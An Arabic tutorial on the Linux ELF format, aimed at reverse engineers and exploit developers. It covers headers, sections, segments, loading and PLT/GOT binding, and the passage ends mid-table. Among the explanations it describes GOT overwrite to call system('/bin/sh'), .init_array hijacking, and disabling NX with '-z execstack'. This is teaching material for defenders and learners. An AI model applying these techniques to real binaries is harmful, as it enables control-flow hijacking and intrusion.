تشريح ELF من الألف إلى الياء
الدليل الكامل لمهندس العكسي ومطوّر الاستغلال
يا صاحبي، إذا كنت تبي تصير عكّاس (Reverse Engineer) أو مطوّر استغلال (Exploit Developer) جاد على لينكس، لازم تعرف ملف ELF كأنه راحة يدك — بدون هذا، أنت تشتغل في الظلام. في هذا الدليل بنفصّل ELF تفصيلًا كاملًا: من أول بايت في الـ Magic Number إلى آخر relocation يسوّيها المُحمِّل، ومارّين على الـ PLT والـ GOT والحمايات الحديثة وكيف يخترقها الـ Pwners. ما هو هدفنا قراءة readelf وخلاص — هدفنا تبني عندك صورة ذهنية كاملة لكل شي يصير من لحظة execve() لين ما يشتغل main(). خلّك معي.
[01] المقدمة — لماذا ELF؟
ما هو ELF؟
ELF اختصار لـ Executable and Linkable Format — هذا هو التنسيق الموحَّد لكل الملفات التنفيذية، والمكتبات المشتركة (.so)، والملفات الكائنية (.o)، حتى ملفات الـ core dumps على معظم أنظمة يونكس المعاصرة (Linux، FreeBSD، Solaris، Android…). يعني باختصار: أي شي "كود قابل للتنفيذ" على لينكس، هو ملف ELF بصيغة أو بأخرى. لا تستغرب.
ELF مو بس "ترويسة + كود" كذا على بعض. لا، هو عقد ثلاثي بين ثلاث أطراف: المُجمِّع (assembler) اللي يطلّع الملف، والرابط (linker) اللي يجمع عدة ملفات ELF في برنامج واحد، والمُحمِّل (loader) في نواة لينكس و ld-linux.so اللي يُحمِّل البرنامج علشان يشتغل. كل قسم وكل حقل في ELF موجود لأنّ واحد من هالأطراف الثلاثة محتاجه — مافيه شي زيادة.
لماذا وُجد ELF؟
قبل ELF كانت يونكس تستخدم تنسيقات بدائية مثل a.out و COFF. هذه التنسيقات كانت محدودة جدًا: لم تدعم الربط الديناميكي بشكل مرن، ولم تكن مرنة بما يكفي لاستيعاب الأنظمة الحديثة 64-بت، ولم تدعم الـ thread-local storage بسهولة. في عام 1995 تبنّت لينكس ELF رسميًا في الإصدار 1.2، وتركت a.out خلفها إلى الأبد.
التصميم الأساسي لـ ELF يقوم على فكرتين عبقريتين:
- عرضان للملف ذاته: عرض الـ Sections (للرابط) وعرض الـ Segments (للمُحمِّل). الرابط يهتم بتفاصيل دقيقة (هل هذا كود؟ هل هو بيانات معاد تموضعها؟)، أما المُحمِّل فيهتم بأقل تفاصيل ممكنة (ضع هذا في الذاكرة بصلاحيات RX، وهذا بصلاحيات RW).
- قابلية التوسّع: أُضيفت ميزات كاملة مثل الـ TLS و الـ IFUNC و الـ symbol versioning دون كسر التوافق العكسي، وذلك بفضل أنواع الأقسام والمقاطع القابلة للتمديد.
تاريخ موجز
تنسيق ELF صُمّم ضمن مشروع System V Release 4 في أواخر الثمانينيات/أوائل التسعينيات. أصبح جزءًا من معيار Tool Interface Standard (TIS) ثم من System V Application Binary Interface (SVR4 ABI). لينكس تبنّته في 1995، ومنذ ذلك الحين تطوّر كثيرًا (gABI، psABI لكل معمارية، الإضافات الخاصة بـ GNU مثل GNU_HASH و GNU_RELRO…).
ليش الهاكر يهتم بـ ELF بالذات؟
كل هجمات استغلال البايناري على لينكس — من ret2libc القديمة لين ROP الحديثة لين هجمات linker_abuse العصرية — كلها تعتمد على فهم ELF. شوف ليش:
- الـ
GOT(Global Offset Table) هي هدف الكلاسيكي للكتابة فوقها (GOT overwrite) لتحويل التحكم. - الـ
PLT(Procedure Linkage Table) تُعطيك "أدوات جاهزة" لاستدعاء دوال libc حتى دون تسريب ASLR. - قسم
.dynamicيحوي مؤشرات تُستخدم في هجمات متقدمة مثل DT_DEBUG abuse و linker script gadgets. - قسم
.init_arrayو.fini_arrayيُتيحان تنفيذًا قبلmainوبعده — هدف مغرٍ للكتابة فوقه في بعض السيناريوهات. - فهم الـ relocations يجعلك تعرف بالضبط أين سيقع كل عنوان عند التحميل، وهذا ضروري لبناء ROP chains مستقرّة.
كل مرة تواجه تحدّي pwn، ابدأ بـ checksec ./binary وبعدها readelf -a ./binary | less. هاتين الأداتين بيعطونك خريطة كاملة لكل اللي قدامك قبل ما تبدأ. لا تخش، خذ وقتك.
ELF مقابل PE مقابل Mach-O
ثلاثة تنسيقات تنفيذية تحكم العالم اليوم. الجدول التالي يوضّح الفروقات الجوهرية:
| الخاصية | ELF (Linux/BSD) | PE (Windows) | Mach-O (macOS/iOS) |
|---|---|---|---|
| Magic | 7F 45 4C 46 (\x7FELF) |
4D 5A (MZ) |
FE ED FA CE/CF |
| الربط الديناميكي | PLT + GOT + ld-linux.so |
IAT (Import Address Table) | stubs + lazy binding via dyld |
| الفلسفة | Sections vs Segments — عرضان | Sections فقط | Segments + Sections داخلها |
| التموضع المستقل | PIE / PIC | ASLR + DLL relocation | PIE افتراضي |
| الانفتاح | مفتوح المصدر، موثّق بالكامل | مغلق نسبيًا، مع توثيق Microsoft | توثيق Apple محدود |
رغم اختلاف التفاصيل، الفكرة الأساسية في الثلاثة واحدة: كيف نُخزِّن كودًا قابلاً للتنفيذ ومعلومات كافية لربطه ديناميكيًا وتشغيله. لكن ELF يبقى الأنظف فلسفيًا والأكثر شفافية، وهذا ما جعله المعيار الذهبي للأكاديميا والـ CTFs.
[02] بنية ملف ELF — النظرة الشاملة
قبل الغوص في التفاصيل، دعنا نرى الصورة الكاملة. ملف ELF مُقسَّم إلى أربعة أجزاء رئيسية بترتيب منطقي على القرص:
المكوّنات الأساسية الخمسة
- ELF Header — أول 64 بايت دائمًا. يحدّد هوية الملف (64 أم 32 بت، معماريّته، نوعه)، ومواقع الجداول الأخرى داخل الملف.
- Program Header Table (PHT) — مصفوفة من الإدخالات، كل إدخال يصف مقطعًا (segment): ماذا يُحمَّل في الذاكرة، عند أي عنوان، وبأي صلاحيات. هذا ما يهتم به المُحمِّل.
-
محتوى الأقسام — البيانات الفعلية: كود الـ
.text، الثوابت في.rodata، المتغيرات في.data، إلخ. هذا هو الجزء الأكبر من الملف. - Section Header Table (SHT) — مصفوفة من الإدخالات، كل إدخال يصف قسمًا (section): اسمه، نوعه، حجمه، موقعه في الملف، وعنوانه عند التحميل. هذا ما يهتم به الرابط.
-
نقطة الدخول (Entry Point) — ليست جزءًا منفصلًا، بل عنوان مخزَّن في الـ ELF Header (
e_entry) يحدّد أين يبدأ التنفيذ بعد أن يُحمَّل البرنامج. على لينكس عادةً_startوليسmainمباشرة.
المفاهيم الجوهرية الأخرى
الفرق بين Section و Segment
هذا أهم سؤال يطرحه المبتدئون: "ما الفرق بين الـ section والـ segment؟" الإجابة المختصرة:
Section = منظور الرابط. يقسّم الملف إلى وحدات منطقية صغيرة (.text، .data، .rodata، .symtab، …).
Segment = منظور المُحمِّل. يجمع عدة sections متجاورة بنفس الصلاحيات في وحدة واحدة لتُحمَّل دفعة واحدة في الذاكرة.
ملف .o (object file) لا يحتاج إلى أن يُحمَّل في الذاكرة — يحتاج فقط للربط. لذلك ملفات .o تحتوي على sections فقط (Program Header Table فارغ). أما الملف التنفيذي النهائي فيحتوي على كليهما.
العناوين الافتراضية (Virtual Addresses) مقابل File Offsets
كل قسم وكل مقطع له موقعان مختلفان:
- File Offset — أين يقع في الملف على القرص (مقاسًا بالبايت من بداية الملف).
- Virtual Address (VA) — أين سيقع في ذاكرة العملية عند التحميل.
للبرامج التي بدون PIE (مثل power_greed الذي حلّلته في الكورس)، الـ VA ثابت — مثل 0x400000 لقاعدة الـ .text. أما مع PIE، الـ VA المخزّن في الملف يكون إزاحة (offset) تُضاف للقاعدة العشوائية التي يختارها ASLR وقت التشغيل.
المحاذاة (Alignment)
المعالج لا يُحب القراءة من عناوين عشوائية — يُفضّل عناوين تنقسم على 8 أو 16 أو 4096. لذا كل مقطع في ELF له حقل p_align يحدّد كيف يجب أن يُحاذى. على معظم الأنظمة 4096 (= 0x1000) لأنّ هذا هو حجم صفحة الذاكرة.
هذا التفصيل مهم للهاكر: عندما تُغيّر إزاحات في الـ binary أو تحقن segments جديدة، يجب أن تحترم المحاذاة وإلّا ستفشل العملية في الإقلاع.
[03] رأس ELF (ELF Header)
رأس ELF هو "بطاقة هوية" الملف. أول 64 بايت (في ELF64) تخبر النواة وكل أداة تقرأ الملف بكل ما تحتاج معرفته قبل أن تبدأ. إذا كان أي حقل فاسدًا، يفشل التحميل فورًا. لنفصّل كل حقل.
تفصيل الحقول
e_ident — البصمة الأولى
أول 16 بايت تحوي:
- Magic
[0..3]: دائمًا0x7F 'E' 'L' 'F'. أي شيء آخر = الملف ليس ELF. - EI_CLASS
[4]:1 = ELFCLASS32،2 = ELFCLASS64. يحدّد عرض المؤشرات. - EI_DATA
[5]:1 = little-endian(x86, ARM)،2 = big-endian(بعض MIPS و PowerPC). - EI_VERSION
[6]: دائمًا 1 (EV_CURRENT). - EI_OSABI
[7]:0 = System V(افتراضي لينكس)،3 = Linux(نادرًا)،9 = FreeBSD، إلخ. - EI_ABIVERSION
[8]: عادةً 0. - Padding
[9..15]: أصفار، محجوز للتوسعات المستقبلية.
e_type — ماذا يكون هذا الملف؟
| القيمة | المعنى | أمثلة |
|---|---|---|
ET_NONE = 0 | غير معروف | — |
ET_REL = 1 | Relocatable | ملفات .o |
ET_EXEC = 2 | Executable (non-PIE) | برامج قديمة، static binaries |
ET_DYN = 3 | Shared Object / PIE | كل المكتبات .so + برامج PIE |
ET_CORE = 4 | Core dump | ملفات core |
e_machine — أي معالج؟
قيم شائعة: EM_X86_64 = 62 (x86_64)، EM_AARCH64 = 183 (ARM 64-bit)، EM_386 = 3 (x86 32-bit)، EM_RISCV = 243.
e_entry — نقطة الانطلاق
عنوان أول تعليمة ستُنفَّذ بعد التحميل. على لينكس مع glibc، هذا عنوان _start الذي يقوم بـ:
- قراءة
argcوargvوenvpمن المكدّس. - استدعاء
__libc_start_main(). - التي بدورها تستدعي
main()ثمexit().
readelf⏵ ⋅ ⋅$ readelf -h /bin/ls
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Position-Independent Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x6ab0
Start of program headers: 64 (bytes into file)
Start of section headers: 140224 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 13
Size of section headers: 64 (bytes)
Number of section headers: 30
Section header string table index: 29
لاحظ أن /bin/ls هو ET_DYN (PIE)، ونقطة الدخول 0x6ab0 هي إزاحة وليس عنوان حقيقي. ASLR سيختار قاعدة عشوائية وقت التشغيل (مثلًا 0x55c0a3e00000)، والعنوان الفعلي = base + 0x6ab0. هذه هي المعضلة الأولى التي يواجهها أي مستغلّ.
[04] الأقسام (Sections) — حيث يعيش الكود والبيانات
الأقسام هي "الغرف" المنطقية داخل ملف ELF. كل قسم له اسم (يبدأ بنقطة بالتقليد)، نوع، حجم، صلاحيات، وعنوان افتراضي. الـ Section Header Table هي القائمة التي تصف كل هذه الغرف. الأدوات مثل readelf و objdump تعتمد كليًا على هذه القائمة.
الأقسام الأساسية — التفصيل الكامل
.text — لحم البرنامج
هنا يعيش الكود الفعلي: التعليمات المُجمَّعة (machine code) لكل دوال البرنامج. الصلاحيات R-X (قراءة وتنفيذ، بدون كتابة). بدون NX قديمًا، كان الهاكر يكتب shellcode على المكدّس ويُنفّذه؛ مع NX اليوم، يلجأ إلى ROP/JOP.
للهاكر: هنا تبحث عن gadgets، عن الـ win functions في تحديات CTF، وعن الـ syscalls المشفّرة.
.data — المتغيرات العامة المُهيَّأة
متغيرات global/static مع قيم أوّلية صريحة. مثل: int counter = 5;. الصلاحيات RW-. لها وجود فعلي في الملف (تأخذ مساحة على القرص).
.bss — المتغيرات العامة غير المُهيَّأة
BSS = Block Started by Symbol. متغيرات global/static بدون قيم أوّلية (أو مع قيمة صفر). مثل: int buffer[1024];. الذكاء هنا: لا تأخذ مساحة في الملف — فقط يُسجَّل حجمها، وعند التحميل تُحجز ذاكرة وتُملأ بأصفار. لذا برامج تحوي مصفوفات ضخمة غير مُهيَّأة تبقى صغيرة على القرص.
.rodata — البيانات للقراءة فقط
الـ string literals ("Hello\n")، الثوابت العامة، الـ jump tables من switch statements. الصلاحيات R--. هدف شائع للهاكر لإيجاد سلاسل مفيدة مثل /bin/sh.
.plt — Procedure Linkage Table
جداول قفز صغيرة، إدخال لكل دالة من مكتبة خارجية يستدعيها البرنامج. عندما تكتب printf() في كودك، المُجمِّع لا يستطيع وضع عنوان printf الحقيقي (فهو في libc، ولا يُعرف وقت الترجمة). بدلاً من ذلك، يضع استدعاءً لـ printf@plt — قفزة صغيرة تذهب لاحقًا إلى libc.
.got + .got.plt — Global Offset Tables
جداول من المؤشرات. .got يحوي عناوين متغيرات عامة من مكتبات خارجية. .got.plt يحوي عناوين الدوال من مكتبات خارجية — يبدأ هذا الجدول بإدخالات افتراضية تشير إلى الـ resolver في ld-linux، ثم يُحدَّث (lazy) ليشير إلى العناوين الحقيقية بعد أول استدعاء.
هذه هي الكنز الذهبي للـ Pwner. إذا تمكّنت من الكتابة في .got.plt (وهو RW قبل تفعيل Full RELRO)، يمكنك تغيير عنوان أي دالة libc — في المرة التالية التي يستدعي البرنامج strcmp، سيُنفِّذ system بدلًا منها. هذا هجوم GOT overwrite.
.dynamic — وصفة ld-linux
مصفوفة من إدخالات (tag, value) تخبر المُحمِّل بكل ما يحتاجه: ما المكتبات المطلوبة (DT_NEEDED)، أين جدول الرموز الديناميكية (DT_SYMTAB)، أين الـ relocations (DT_RELA)، أين تبدأ الـ init functions (DT_INIT_ARRAY)، إلخ. هذا القسم هو "العقل" الذي يقود الربط الديناميكي.
.dynsym + .dynstr
جدول الرموز الديناميكية وجدول السلاسل المرتبط به. كل إدخال في .dynsym يصف رمزًا (دالة أو متغير) إما يصدّره البرنامج أو يحتاجه من مكتبة. ld-linux يستخدم هذين لربط كل printf@plt بـ printf الحقيقي.
.symtab + .strtab
جدول الرموز الكامل (الذي يحوي حتى الرموز المحلية والـ static) وجدول السلاسل المرتبط به. هذا ما يُحذف عند strip! بعد التجريد، تبقى فقط .dynsym و .dynstr لأنّ النظام يحتاجهما للربط الديناميكي.
.rela.plt + .rela.dyn
جدول إعادة التموضع. .rela.plt = relocations للدوال (مرتبط بـ PLT). .rela.dyn = relocations للبيانات (مرتبط بـ GOT والمتغيرات العامة). كل إدخال يقول: "بعد التحميل، ضع العنوان X في الموقع Y".
.init + .fini
.init = كود يُنفَّذ قبل main() (تهيئة المكتبة C، constructors عالميّة).
.fini = كود يُنفَّذ بعد main() أو عند exit() (destructors).
.init_array + .fini_array
مصفوفات من مؤشرات الدوال. أحدث وأكثر مرونة من .init/.fini. كل __attribute__((constructor)) في كود C يُسجَّل هنا. للهاكر: الكتابة فوق إدخال هنا = تنفيذ كود قبل main — مفيد جدًا في تحديات heap التي تتطلب trigger لاستدعاء دوال محدّدة.
أقسام أخرى مهمّة
تفاصيل أقسام إضافية (انقر للتوسيع)
.interp: سلسلة تحوي مسار الـ dynamic linker — عادةً/lib64/ld-linux-x86-64.so.2. النواة تقرأ هذا وتستدعي ld-linux قبل أي شيء..eh_frame+.eh_frame_hdr: exception handling frames — يستخدمها C++ في try/catch، ويستخدمها GDB في تتبّع المكدّس..note.*: ملاحظات وميتاداتا..note.gnu.build-idتحوي معرّفًا فريدًا للبناء،.note.ABI-tagتحدّد إصدار glibc/kernel المطلوب..comment: سلاسل غالبًا تحوي نسخة المُجمِّع.strings binary | grep GCC— قد تعطيك معلومات تجريبية مفيدة..ctors/.dtors: النسخة القديمة من.init_array/.fini_array. لا تزال موجودة في بعض البرامج القديمة..gnu.version+.gnu.version_r: لدعم symbol versioning في glibc — لماذا يمكنك ربط برنامج بـmemcpy@GLIBC_2.14دون كسر التوافق..tdata+.tbss: Thread-Local Storage. كل thread يحصل على نسخته الخاصة..gnu.hash/.hash: جداول hash لتسريع البحث عن الرموز.
readelf⏵ ⋅ ⋅$ readelf -SW ./hello | head -25
There are 30 section headers, starting at offset 0x3848:
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 0000000000000318 000318 00001c 00 A 0 0 1
[ 2] .note.gnu.build-id NOTE 0000000000000338 000338 000024 00 A 0 0 4
[ 3] .dynsym DYNSYM 00000000000003c0 0003c0 000090 18 A 4 1 8
[ 4] .dynstr STRTAB 0000000000000450 000450 00007f 00 A 0 0 1
[ 5] .rela.dyn RELA 00000000000004f8 0004f8 0000c0 18 A 3 0 8
[ 6] .rela.plt RELA 00000000000005b8 0005b8 000018 18 AI 3 17 8
[ 7] .init PROGBITS 0000000000001000 001000 00001b 00 AX 0 0 4
[ 8] .plt PROGBITS 0000000000001020 001020 000020 10 AX 0 0 16
[ 9] .text PROGBITS 0000000000001040 001040 000175 00 AX 0 0 16
[10] .fini PROGBITS 00000000000011b8 0011b8 00000d 00 AX 0 0 4
[11] .rodata PROGBITS 0000000000002000 002000 000011 00 A 0 0 4
[12] .eh_frame_hdr PROGBITS 0000000000002014 002014 00003c 00 A 0 0 4
[13] .eh_frame PROGBITS 0000000000002050 002050 0000a8 00 A 0 0 8
[14] .init_array INIT_ARRAY 0000000000003db8 002db8 000008 08 WA 0 0 8
[15] .fini_array FINI_ARRAY 0000000000003dc0 002dc0 000008 08 WA 0 0 8
[16] .dynamic DYNAMIC 0000000000003dc8 002dc8 0001f0 10 WA 5 0 8
[17] .got PROGBITS 0000000000003fb8 002fb8 000048 08 WA 0 0 8
[18] .got.plt PROGBITS 0000000000004000 003000 000020 08 WA 0 0 8
لاحظ الـ Flg column: A=Allocated (يُحمَّل في الذاكرة)، X=Executable، W=Writable. هذا الـ flag مع بعضه يحدّد صلاحيات الصفحة عند التحميل.
لاحظ أن .got و .got.plt يحملان flag W — قابلين للكتابة افتراضيًا. هنا تأتي حماية RELRO: عند تفعيلها كاملًا، ld-linux يستدعي mprotect ليجعل هذه الصفحات للقراءة فقط بعد انتهاء عملية الربط الديناميكي. سنناقش هذا بالتفصيل في قسم الحمايات.
[05] المقاطع (Segments) — منظور المُحمِّل
الآن لنرى الجانب الآخر من العملة. عندما تنفّذ ./hello، النواة لا تهتمّ بـ .text أو .rodata أو .init — كل ما تريده هو: "أعطني قائمة من الكتل، كل كتلة مع عنوانها وصلاحياتها، وسأضعها في الذاكرة." هذه هي وظيفة Program Header Table.
أنواع المقاطع الرئيسية
PT_LOAD — البطل الرئيسي
هذا هو النوع الوحيد الذي يُحمَّل فعليًا في الذاكرة. كل PT_LOAD يتحوّل إلى استدعاء mmap() بصلاحيات محدّدة. برنامج بسيط يحوي عادةً 4-5 من هذه:
- واحد للميتاداتا (الـ ELF Header + Program Headers + .interp + .dynsym + ...) — صلاحيات R--
- واحد للكود (.text + .plt + .init + .fini) — صلاحيات R-X
- واحد للقراءة فقط (.rodata + .eh_frame) — صلاحيات R--
- واحد للقراءة/الكتابة (.got + .data + .bss) — صلاحيات RW-
PT_DYNAMIC
يشير إلى قسم .dynamic. ld-linux يقرأه أولًا ليعرف ماذا يفعل.
PT_INTERP
يحوي مسار الـ dynamic linker (مثل /lib64/ld-linux-x86-64.so.2). النواة تقرأه ثم تستدعي هذا الـ linker.
PT_PHDR
يشير إلى Program Header Table نفسها. يبدو غريبًا (لماذا نحتاج إلى PHT تشير إلى PHT؟)، لكنه مفيد لأنّه يجعل PHT متاحًا في ذاكرة العملية، مما يُيسّر لـ ld-linux معرفة عناوين البرنامج.
PT_NOTE
يحوي ملاحظات. الأهم: NT_GNU_BUILD_ID لتحديد الإصدار، و NT_GNU_PROPERTY لميزات حماية CPU مثل CET (Shadow Stack و IBT).
PT_GNU_STACK
مقطع غريب لا يُحمَّل ولا يحوي بيانات — وجوده فقط يخبر النواة بصلاحيات المكدّس. إذا flags = RW، المكدّس لا يقبل التنفيذ (هذا هو NX). إذا flags = RWX، تنفيذ المكدّس مسموح (مفيد للهاكر، خطر للمستخدم).
bash⏵ ⋅ ⋅$ readelf -lW ./vuln | grep STACK
GNU_STACK 0x000000 0x0000000000000000 ... RW 0x10
# RW = NX مُفعَّل، لا يمكن تنفيذ shellcode على المكدّس
$ gcc -z execstack -o vuln_nx vuln.c
$ readelf -lW ./vuln_nx | grep STACK
GNU_STACK 0x000000 0x0000000000000000 ... RWE 0x10
# RWE = NX مُعطَّل، shellcode على المكدّس يعمل
PT_GNU_RELRO
"Read-Only after RELocation". ld-linux يستخدمه ليعرف أي صفحات يجب أن يجعلها للقراءة فقط بعد انتهاء الربط الديناميكي. سنناقش RELRO بالتفصيل في قسم الحمايات.
PT_TLS
Thread Local Storage. يصف القالب الذي تُنشأ منه نسخة TLS لكل thread.
readelf⏵ ⋅ ⋅$ readelf -lW ./hello
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0002d8 0x0002d8 R 0x8
INTERP 0x000318 0x0000000000000318 0x0000000000000318 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x0005d0 0x0005d0 R 0x1000
LOAD 0x001000 0x0000000000001000 0x0000000000001000 0x0001c5 0x0001c5 R E 0x1000
LOAD 0x002000 0x0000000000002000 0x0000000000002000 0x000110 0x000110 R 0x1000
LOAD 0x002db8 0x0000000000003db8 0x0000000000003db8 0x000258 0x000260 RW 0x1000
DYNAMIC 0x002dc8 0x0000000000003dc8 0x0000000000003dc8 0x0001f0 0x0001f0 RW 0x8
NOTE 0x000338 0x0000000000000338 0x0000000000000338 0x000044 0x000044 R 0x4
GNU_PROPERTY 0x000338 ... R 0x8
GNU_EH_FRAME 0x002014 0x0000000000002014 ... R 0x4
GNU_STACK 0x000000 ... RW 0x10
GNU_RELRO 0x002db8 0x0000000000003db8 0x0000000000003db8 0x000248 0x000248 R 0x1
لاحظ أن أحد الـ LOAD segments عنده MemSiz أكبر من FileSiz (مثلًا 0x000260 مقابل 0x000258). الفرق هو حجم .bss — لا يأخذ مساحة في الملف لكن النواة ستحجز له ذاكرة وتُصفّرها عند التحميل.
[06] المُحمِّل — رحلة الـ ELF إلى الذاكرة
لمّا تكتب ./hello في الـ shell وتضغط Enter، فيه أشياء كثيرة تصير قبل ما يطلع أول حرف على الشاشة. الـ Shell يستدعي fork() وبعدها execve("./hello", argv, envp) — ومن هنا تبدأ الرحلة الحقيقية. الـ kernel ياخذ المسؤولية: يقرا الـ ELF، يجهّز فضاء العنونة، يشغّل الـ dynamic linker، اللي بدوره يحمّل المكتبات ويسوّي الـ relocations، وأخيرًا يسلّم التحكم لـ _start وبعدها main. سلسلة طويلة، صح؟
الديناغرام التفاعلي اللي تحت يعرض كل خطوة بالتفصيل. اضغط التالي علشان تتابع الرحلة خطوة خطوة، أو تشغيل تلقائي علشان تشوف الكل دفعة وحدة:
shell إلى main().تفصيل كل مرحلة
المرحلة 1 — execve() syscall
الـ shell يستدعي execve("./hello", argv, envp). هذا syscall رقم 59 على x86_64. لاحظ أن العملية الحالية (shell process) سيُستبدل تنفيذها بالكامل — مساحة العنونة القديمة تُمسح، والـ PID يبقى ولكن "البرنامج" يتغيّر تمامًا.
المرحلة 2 — kernel ELF parser
النواة تقرأ الـ Magic bytes الأولى للتحقق أنّ الملف ELF (وليس script أو نمطًا آخر). دالة load_elf_binary() في fs/binfmt_elf.c هي البطل هنا. تقرأ e_type، e_machine، تتحقّق من الـ ABI compatibility، وتقرأ Program Header Table.
المرحلة 3 — mmap LOAD segments
لكل PT_LOAD، النواة تستدعي mmap() داخليًا. هذا الـ mmap لا ينسخ المحتوى مباشرة — يستخدم demand paging. أي صفحة لن تُقرأ من القرص حتى يحاول البرنامج الوصول إليها فعلًا. لذا برنامج 50 ميجابايت قد لا يقرأ منه سوى بضع كيلوبايت عند التشغيل.
المرحلة 4 — load PT_INTERP
إذا الملف ديناميكي (لديه PT_INTERP)، النواة تحمّل أيضًا ld-linux-x86-64.so.2 في فضاء العنونة. ثم بدلاً من القفز إلى e_entry الخاص ببرنامج المستخدم، تقفز إلى نقطة دخول الـ linker.
المرحلة 5 — ld-linux يستلم التحكم
الآن نحن في user space، لكن الكود الذي يعمل هو ld-linux وليس برنامج المستخدم. _dl_start هي البداية — تقوم بـ self-relocation أولًا (ld-linux نفسه يحتاج relocation)، ثم يقرأ .dynamic من برنامج المستخدم.
المرحلة 6 — تحميل المكتبات
ld-linux يقرأ كل DT_NEEDED entry في .dynamic — هذه قائمة المكتبات. يبحث عنها في LD_LIBRARY_PATH، ثم /etc/ld.so.cache، ثم المسارات الافتراضية. كل مكتبة تُحمَّل بـ mmap() بنفس الطريقة.
متغير البيئة LD_PRELOAD يسمح لك بحقن مكتبة قبل libc. هذا يُسمح به فقط للبرامج غير الـ setuid — حماية كلاسيكية. لكنّ تقنيات مثل LD_AUDIT abuse و proc filesystem tricks لا تزال تُستخدم لإيجاد طرق التفاف.
المرحلة 7 — Relocations + RELRO
الـ relocations هي تعديل عناوين بعد التحميل. مثلًا: في الكود، printf@plt يجب أن يعرف عنوان printf الحقيقي. ld-linux يقرأ .rela.dyn و .rela.plt ويكتب العناوين الصحيحة في .got و .got.plt.
مع RELRO الكامل، بعد انتهاء الـ relocations، ld-linux يستدعي mprotect() ليجعل .got و .dynamic للقراءة فقط.
المرحلة 8 — Constructors
ld-linux ينفّذ كل دالة في .init و .init_array. هذه تشمل constructors C++ globals، و GCC __attribute__((constructor)) functions. ثم يقفز أخيرًا إلى _start في برنامج المستخدم.
المرحلة 9 — main()
_start يهيّئ libc (__libc_start_main)، ثم يستدعي main() أخيرًا. أهلًا بك في عالم برمجتك!
المرحلة 10 — exit
عندما يعود main أو يُستدعى exit()، تُنفَّذ .fini_array ثم .fini، وأخيرًا syscall exit_group الذي ينهي العملية.
[07] الربط الديناميكي — PLT و GOT و Lazy Binding
هذا أهم قسم في الدليل من ناحية الاستغلال — لا تتجاوزه. إذا فهمت كيف يشتغل PLT و GOT و الـ lazy binding، بتفهم ليش تشتغل هجمات زي ret2plt و GOT overwrite — وبتعرف بالضبط متى تنفع ومتى ما تنفع. هذا الفرق بين اللي يقلّد exploits على github وبين اللي يكتبها من راسه.
المشكلة التي يحلّها الربط الديناميكي
عندما تكتب:
C⏵ ⋅ ⋅#include <stdio.h>
int main() {
printf("Hello\n");
}
المُجمِّع لا يعرف أين printf في الذاكرة (فهو في libc.so، الذي قد يُحمَّل في أي مكان بسبب ASLR). الحل: يضع المُجمِّع استدعاءً غير مباشر:
asm⏵ ⋅ ⋅main:
lea rdi, [rip + str]
call printf@plt ; قفز لـ PLT stub بدلًا من printf مباشرة
ret
الديناغرام التفاعلي — كيف تعمل Lazy Binding
الديناغرام التالي يعرض ماذا يحدث عند أول استدعاء لـ printf، ثم عند الاستدعاءات اللاحقة. ستلاحظ الفرق بين المسار البطيء (أول مرة) والمسار السريع (بعد ذلك).
التفسير التقني
الاستدعاء الأول — المسار البطيء
- main يستدعي
printf@plt— قفزة عادية إلى عنوان معروف وقت الترجمة (في.plt). - printf@plt أول تعليمة:
jmp [printf@got.plt]— قفز غير مباشر عبر إدخال GOT. - في البداية،
printf@got.pltيحوي عنوانًا يشير إلى تعليمة push داخل نفسprintf@pltstub. هذا يجعل القفز يعود مباشرة إلى السطر التالي في PLT. - السطر التالي:
push reloc_indexثمjmp PLT[0]— أول إدخال في PLT هو "resolver stub" مشترك بين جميع الدوال. - PLT[0] يستدعي
_dl_runtime_resolveفي ld-linux، الذي يبحث في.dynsymو الـ hash tables ليجد عنوانprintfالحقيقي. - ld-linux يكتب العنوان الحقيقي في
printf@got.plt، ثم يقفز إليه.
الاستدعاء الثاني — المسار السريع
الآن printf@got.plt يحوي العنوان الحقيقي. عندما main يستدعي printf@plt مرة أخرى:
- main →
printf@plt jmp [printf@got.plt]— يقفز مباشرة إلىlibc::printf! لا resolver، لا overhead.
إذا كان .got.plt قابلًا للكتابة (لا RELRO أو Partial RELRO فقط) وتمكّن المهاجم من الكتابة في إدخال GOT، يمكنه استبدال عنوان أي دالة. مثال: استبدال printf@got.plt بعنوان system. في المرة التالية يستدعي البرنامج printf("/bin/sh")، سيُنفّذ system("/bin/sh") فعليًا!
أوضاع الربط — Lazy vs Immediate
افتراضيًا، الربط كسول: الـ relocation للدوال يحدث عند أول استدعاء. لكن يمكن إجبار الربط الفوري:
bash⏵ ⋅ ⋅$ LD_BIND_NOW=1 ./hello
# كل الـ GOT entries تُحلّ قبل main()
# تأثير: تأخر بسيط عند البدء، لكن بدون استدعاء resolver لاحقًا
# مفيد لأنظمة real-time حيث الـ jitter غير مقبول
$ gcc -Wl,-z,now -o hello_now hello.c
# يضيف flag DF_BIND_NOW في .dynamic - الربط فوري دائمًا
-z now هي شرط أساسي لـ Full RELRO، لأنّك لا تستطيع جعل GOT للقراءة فقط إذا كانت ld-linux تحتاج للكتابة فيه لاحقًا عند الـ lazy resolution.
كيف يبحث ld-linux عن الرموز؟
عملية البحث (symbol lookup) ليست خطية. ld-linux يستخدم hash tables محسّنة:
- القديم:
.hash— جدول hash بسيط مع algorithm SysV. - الحديث:
.gnu.hash— أسرع بكثير. يستخدم Bloom filter لرفض الرموز غير الموجودة فورًا، ثم hash buckets مرتبة.
[08] جداول الرموز (Symbol Tables)
الرمز (symbol) هو اسم مرتبط بعنوان. كل دالة وكل متغير global في برنامجك له رمز. الرموز هي ما يسمح للرابط بدمج عدة ملفات .o في برنامج واحد، ولـ ld-linux بربط printf@plt بـ printf الحقيقي في libc.
الجدولان: .symtab و .dynsym
| الخاصية | .symtab | .dynsym |
|---|---|---|
